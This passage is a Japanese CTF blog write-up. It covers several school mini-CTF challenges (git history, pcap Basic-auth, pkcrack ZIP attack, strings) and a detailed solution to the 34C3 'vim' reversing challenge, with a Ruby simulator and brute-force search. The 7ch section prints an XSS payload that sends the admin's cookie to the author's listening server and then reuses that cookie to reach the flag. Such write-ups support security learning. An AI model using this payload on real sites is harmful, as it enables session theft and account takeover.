0001fda HEAD@{3}: commit (initial): add tmp_flag 

そこからは配管コマンドを使って、

$ git ls-tree 167e
100644 blob fa348447eb8e23bbf88da4521d3c4961abd91cdf    flag.txt
$ git cat-file blob fa34
NITAC{You_can_change_the_past}         

Basic!

.pcapが渡される。httpで絞りこんであげると、Basic認証のパケットがある。

http://10.0.0.111/にアクセスし、ID,PWをhoge, M2Fuchagam#qと入力するとFLAGにアクセスできる。

7ch

「adminのcookieを盗め」という問題。

自分「SQLi〜〜うーん、無理!w」
運営「Demand AdministratorのフォームにXSS脆弱性があるよ〜」
自分「(Googleを開く)」

python -m http.serverで適当にサーバを立ち上げたあと、<input>maxlength属性を書き換え、<script>document.location='http://(自分のマシンのIP):8000/'+document.cookie</script>を流し込む。
するとサーバ側で送信したデータが開かれるのでスクリプトも実行される。

$ python -m http.server
10.0.0.110 - - [04/Feb/2018 17:48:13] code 404, message File not found
10.0.0.110 - - [04/Feb/2018 17:48:13] "GET /admin=89iu4whyf9poqjfj89ygw3n0jfsjo82 HTTP/1.1" 404 -

また、LoginのページにFLAGが/admin/flagにあることが示されているので、Cookieadmin=89iu....に書き換えてアクセスするとFLAGが出る。

ZIPZIP

既知平文攻撃。
NITACminiCTF.pngconnpassページで公開されているエスパー。

$ zip downloaded.zip downloaded.png
$ pkcrack -C zip.zip -c NITACminiCTF.png -P downloaded.zip -p downloaded.png -d output.zip
$ unzip output.zip
$ cat flag.txt
NITAC{unzip_unzip_unzip}

John thinks...

@Akashi_SN への愛が足りずにFLAGを予測できなかった。無念。
stringsコマンドで。

$ strings hoge.jpg -n 20
NITAC{akashi_sn_kawaii}cms

34C3 CTF 「vim」のwrite-upを見た

いろいろ試したもののうまくいかなかった問題。Easyとは...(m0rphしか解けなかった人の顔
CTFtime.orgにwrite-upが上がっていたので参考にしつつリベンジしてみた。とてもくわしく書かれているがややこしいので、理解するために日本語に訳しているだけみたいなところがありアレ。
https://blog.rpis.ec/2017/12/34c3ctf-vim.html

Vimコマンドを読む

問題のファイル(上記URL参照)には、4行目にFLAGを入力しろと書かれている。
GY@"というコマンドは

  • G 最終行に飛び
  • Y 行全体をヤンクして(バッファにためて)
  • @" ヤンクした内容をコマンドとして実行する

という意味。

そこで最終行を見てみる。最終行周辺はよく見るとVimのコマンドになっている(気づくのにとても時間がかかった)。
わかりやすいようにコマンド単位に分割したのが以下。

6G (6行目行頭へ)
f2 "ayl (レジスタa = '2')
^ f0 "cyl "Ayl (レジスタc = '0', レジスタa += '0')
^ fh "Ayl (レジスタa += 'h')
^ fj "Ayl (レジスタa += 'j')
^ fG "gyl (レジスタg = 'G')
^ fk "Gyl (レジスタg += 'k')
G $ FY "Gy3l  (レジスタg += 'Y@"')
$ F@ "hyl (レジスタh = '@')
Fh "Hyl (レジスタh += 'h')
260G Y @" (260行目を実行)
F10H (実行されない)

いろいろ実行したあと260G Y @"でジャンプしている。(<X> <Y>などはあとで説明に使います)

1G ff "dyl "eyl "fyl (レジスタd, e, f = 'f')
4G @c "Dyl (レジスタd += レジスタcが指すFLAGの文字<X>)
6G @d h j "Eyl j "Fyl (6行目から<X>を探し、レジスタe += その左下の文字<Y>, レジスタf += さらにその1行下の文字<Z>) 
1G fl "Cyl (レジスタc += 'l')
6G f2 "byl F0 "Byl (レジスタb = '20')
261G Y @" (261行目を実行)
(3c043Bh4Hf5#)

261行目を見ると、

9G @e 19l @a "Byt. (9行目の文字<Y>にジャンプし、19文字右に移動、レジスタaを実行してカーソルから右に辿って'.'の直前までの文字列<P>をレジスタbに追記)
6G fj "Byl (レジスタb += 'j')
6G f2 "ayl F0 "Ayl (レジスタa = '20')
9G @f 19l @b "Ayt. (9行目の文字<Z>にジャンプし、19文字右に移動、レジスタbを実行して、カーソルから'.'直前までの文字列<Q>をレジスタaに追記)
6G fj "Ayl (レジスタa += 'j')
40| @a (適当に移動、またすぐ移動するので意味はない)
260G Y @" (260行目を実行)
(@1fBkya5B^)

あれ、これ無限ループでは…と思ったが、そうはならない。
自作のシミュレータに与えてみると、4行目に書いたFLAGの文字が終わるとエラーを出して終了した。末尾の()で囲んだ部分は実行されない。
実行中のレジスタの中身を吐かせてみるとこのようになる。write-upではVim本体にパッチをあてて検証したらしい。

{"a"=>"20hj", "c"=>"0l", "g"=>"GkY@\"F", "h"=>"@h", "d"=>"f3", "e"=>"f,", "f"=>"fG", "b"=>"20h33j"}
...
{"a"=>"20h169j", "c"=>"0llllllllllllll", "g"=>"GkY@\"F", "h"=>"@h", "d"=>"ff", "e"=>"f2", "f"=>"f2", "b"=>"20l72j"}
...
{"a"=>"20h192j", "c"=>"0lllllllllllllllll", "g"=>"GkY@\"F", "h"=>"@h", "d"=>"f", "e"=>"f", "f"=>"f", "b"=>"20l78j"}

これと260・261行目からわかる内容をまとめると、

  • @a @b を実行するとたくさん移動する
  • 4行目で実行される@c には、lがどんどん後ろに連なっていくので、4行目のFLAGの文字を順番にフォーカスしている
  • @d @e @f@c に応じて変化
  • @h は自分を呼び出す(そして全体を通じてレジスタの中身が変化しない)
  • @g は下から2番目の行を実行する(そして全体を通じてレジスタの中身が変化しない)

このあと処理を逐次追ってみたけど頭が爆発しそうになったので諦めて本番はここで終わり。

依存関係を図にしてみたりした。ちょっとはわかりやすい…?
@bが決定したあとに@a が決定され、@aは次のループに引き継がれるので、1回のループで「与えられた@aとFLAGの文字をもとに、新たな@aを生成する」と考えることができる。

ループの仕組み

次に@a @bの動きを理解したい。
まず、FLAGから文字を取り出して6行目で検索し<X>が決定する。
逆の言い方をすれば、FLAGで使われる文字列はすべて6行目にある。
<X> によって <Y> <Z> が確定するが、そのもととなる7,8行目をよく見ると文字種が偏っている。

 6 @Wk0KVmQ3rFpgcZy.C8eY7b_sBSETUvwiM5LPzuNofhn6Ox1G942jdaXlDRtHqJAI6HntUkUZmdU".i"
 7 @,hhGGl,"_Gl@l,l2"""@l,2G_22h_@2Glh2"@@,2__G2@hGh,l_l_"hGh,_,""@H1"jDA"h"53AA6.d -> <Y>
 8 22l,2_lG,@l_,,@Ghl"2h"l@@h,_@l_lG2h"h@l,2,"hGGG,"_hG@2@2"_"_h_G""@Bd@#$BEj_GG5,B -> <Z>

6行目で、重複しているために<X>にならない文字を省く(fGというようにアクセスされるので、同じ文字が2つあると右側にあるものにはたどり着かないことに注意)。
それによって<Y> <Z> も絞られるので省くと、以下のようになる。

6 @Wk0KVmQ3rFpgcZy.C8eY7b_sBSETUvwiM5LPzuNofhn6Ox1G942jdaXlDRtHqJAI           "
7 @,hhGGl,"_Gl@l,l2"""@l,2G_22h_@2Glh2"@@,2__G2@hGh,l_l_"hGh,_,""@           A     -> <Y>
8 22l,2_lG,@l_,,@Ghl"2h"l@@h,_@l_lG2h"h@l,2,"hGGG,"_hG@2@2"_"_h_G"           G     -> <Z>

このように見ていくと、<Y> <Z> になる文字は@ , h G A l " _ 2だけだとわかる。
そして、<Y> <Z> は9行目でのジャンプにのみ使われている。ここも <Y> <Z> からアクセスされない部分は省いてしまう。

9 ._3d93@jA_F"H.#0GB8#c,5d#9lAaakh18ck2eGDcHlG7A21Cg8"C$3$e$"D@l.E^A6eDlbec5$D".hl
9  _    @ A  "    G    ,    l    h    2

また、9行目にジャンプしてからは19文字右に移動したあと @a @b のいずれかが実行される。
ここで、@a @b20h... 20l... から始まることに注目すると、最終的な<Y> <Z> からの横方向の移動距離は+19 ± 20 = -1 or +39の2つだけ。
移動先の候補に*で印をつけてみると、10行目以降のlh縦方向で揃う(下画像赤色部分)。

Aの移動先の候補はズレているが、7行目に遡ると1度しか出てきていないのでおそらくダミー。排除して考える。
加えて、h lの前にある文字もただのパディングとわかる。

そのあとは@a @b の続きで赤色の列を下に移動し<P> <Q> として追記したあとはじめへ戻る。
ここで、l250. h129. といった <P> <Q> の候補は 16 * 250 = 4000個ある。
この4000個を行ったり来たりして後述する@gに飛ばすようなFLAGを見つける。

狙う場所

write-upには@g に注目したと書いてある。vimを開いて1行目で指示されるコマンドを打った後、@gを実行するとwin!と出た。
なるほどそういうことか。

  1 Enter the flag in line 4 and type GY@"
  2 
  3 The flag is:
  4 34C3_example
  5 --------------------------------------------------------------------------------
  6 win!

そして@gを実行している箇所は108行目行頭だけなので、ココに飛ばせばよいということになる。

108 @g.ABh175.l220.l245.l159.h61.7h45.^h122.h23.2l176.l86.9l146.h5.EGl143.l168.h222.

Exploit

@gにたどり着くようなFLAGを探すにはどうすればいいんだろう? @gから逆順にたどるのもキツそう。
write-upではBFS(幅優先探索)なbrute forceで解いたようなのでそれを真似してみる。
このように、@a(初期値は20hj)とFLAG文字列全体を持つようにすると経路復元の必要がなくなりラク
また、同じ@aを得た場合は枝の探索を断ち切って計算量を削減する。

vimcommand.rbは開催中に自分で書いていたシミュレータ。

require_relative './vimcommand'
 
FLAG_CHARS = "34C_W0KVmQrFpgcZy8eY7bsBSETUvwiM5LPzuNofhn6Ox1G92jdaXlDRtHqJAI".chars # 6行目より(k, @, .といった制御文字は取り除く)
State = Struct.new :a, :flag
 
PROBLEM = File.read("vim.txt").split "\n"
 
visited = {} # それぞれの@aを生成する最短のFLAG
queue = [State.new("20hj", "")]
 
def step_loop state, newchar
  vc = VimCommand.new PROBLEM, '260GY@"'
 
  vc.registers["a"] = state.a
  vc.registers["d"] = 'f' + newchar
  vc.registers["e"] = 'f'
  vc.registers["f"] = 'f'
  vc.lines[260] = %Q(6G@dhj"Eylj"Fyl6Gf2"bylF0"Byl261GY@") # @c, @dへの代入を削除
  vc.lines[261] = %Q(9G@e19l@a"Byt.6Gfj"Byl6Gf2"aylF0"Ayl9G@f19l@b"Ayt.6Gfj"Ayl40|@a) # 261行目から260行目に戻らないようにする
 
  vc.call do |sc|
    # puts "#{sc[0]} #{vc.focus_line} #{vc.focus_char} #{vc.registers['b']}"
  end
 
  State.new vc.registers["a"], state.flag + newchar
end
 
until queue.empty?
  cur = queue.pop
  FLAG_CHARS.each do |ch|
    puts cur.flag + ch
    nxt = step_loop cur, ch
    
    unless visited[nxt.a]
      queue << nxt
      visited[nxt.a] = true
    end
  end
end
require 'strscan'
 
class VimCommand
  attr_reader :lines, :focus_line, :focus_char, :stack, :registers
 
  def initialize lines, init_cmd
    @lines = ['', lines].flatten
    @focus_line = 0
    @focus_char = 0
    @stack = [init_cmd || @lines[0]]
    @registers = {}
  end
 
  def call &block
    while @stack.any?
      execute &block
    end
  end
 
  def execute &block 
    return if @stack.empty?
 
    @sc = StringScanner.new @stack.pop
    until @sc.eos?
      break if step &block
    end
  end
 
  def step
    sc = @sc
    break_loop = false
 
    case
    when sc.scan(/(\^|0)/)
      @focus_char = 0
    when sc.scan(/\$/)
      @focus_char = fli.size - 1
    when sc.scan(/(\d+)h/)
      @focus_char -= sc[1].to_i
    when sc.scan(/(\d+)j/)
      @focus_line += sc[1].to_i
    when sc.scan(/(\d+)k/)
      @focus_line -= sc[1].to_i
    when sc.scan(/(\d+)l/)
      @focus_char += sc[1].to_i
    when sc.scan(/h/)
      @focus_char -= 1
    when sc.scan(/j/)
      @focus_line += 1
    when sc.scan(/k/)
      @focus_line -= 1
    when sc.scan(/l/)
      @focus_char += 1
    when sc.scan(/G/)
      @focus_line = @lines.size - 1
    when sc.scan(/(\d+)G/)
      @focus_line = sc[1].to_i
      @focus_char = 0
    when sc.scan(/(\d+)B/)
      @focus_line -= sc[1].to_i - 1
      @focus_line -= 1 if @focus_char == 0
    when sc.scan(/(\d+)\|/)
      @focus_char = sc[1].to_i - 1
    when sc.scan(/Y@"/)
      @stack.push sc.string[sc.charpos..-1]
      @stack.push fli
      break_loop = true
    when sc.scan(/@(.)/)
      @stack.push sc.string[sc.charpos..-1]
      @stack.push @registers[sc[1]]
      break_loop = true
    when sc.scan(/f(.)/)
      @focus_char = fli.index sc[1], @focus_char
    when sc.scan(/F(.)/)
      @focus_char = fli.rindex sc[1], @focus_char
    when sc.scan(/"([A-Z])yl/)
      @registers[sc[1].downcase] += fch
    when sc.scan(/"([A-Z])y(\d+)l/)
      @registers[sc[1].downcase] += fli[@focus_char..@focus_char + sc[2].to_i]
      @focus_char += sc[2].to_i - 1
    when sc.scan(/"([A-Z])yt(.)/)
      @registers[sc[1].downcase] += fli[@focus_char...fli.index(sc[2], @focus_char)]
    when sc.scan(/"([a-z])yl/)
      @registers[sc[1]] = fch
    else
      raise "Parse Error: #{sc.charpos} #{sc.string[sc.charpos..-1]}"
    end
 
    yield sc if block_given?
 
    break_loop
  end
 
  def fli
    @lines[@focus_line]
  end
 
  def fch
    fli[@focus_char]
  end
end

これを実行すると、数秒でFLAGを探索しエラーを出して止まる(乱暴)。前に見た通り@gを実行すると内容が書き換えられるため。
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cs4 がFLAG。

34C3_MgOSwZm9WFTRKYvCXFXXxpX9ct
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cH
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cq
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cJ
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cA
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cI
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cs3
34C3_MgOSwZm9WFTRKYvCXFXXxpX9cs4
/home/sei0o/ctf/34c3ctf/vim/vimcommand.rb:86:in `step': Parse Error: 0 20@gj (RuntimeError)
        from /home/sei0o/ctf/34c3ctf/vim/vimcommand.rb:25:in `execute'
        from /home/sei0o/ctf/34c3ctf/vim/vimcommand.rb:16:in `call'
        from exploit.rb:21:in `step_loop'
        from exploit.rb:32:in `block in <main>'
        from exploit.rb:30:in `each'
        from exploit.rb:30:in `<main>'

おもしろいけど、誰がこんな問題思いつくんだろうか...少しずつ理解してたら記事にするまで1ヶ月ぐらい経ってしまった(白目
アルゴリズム力も足りないなあ…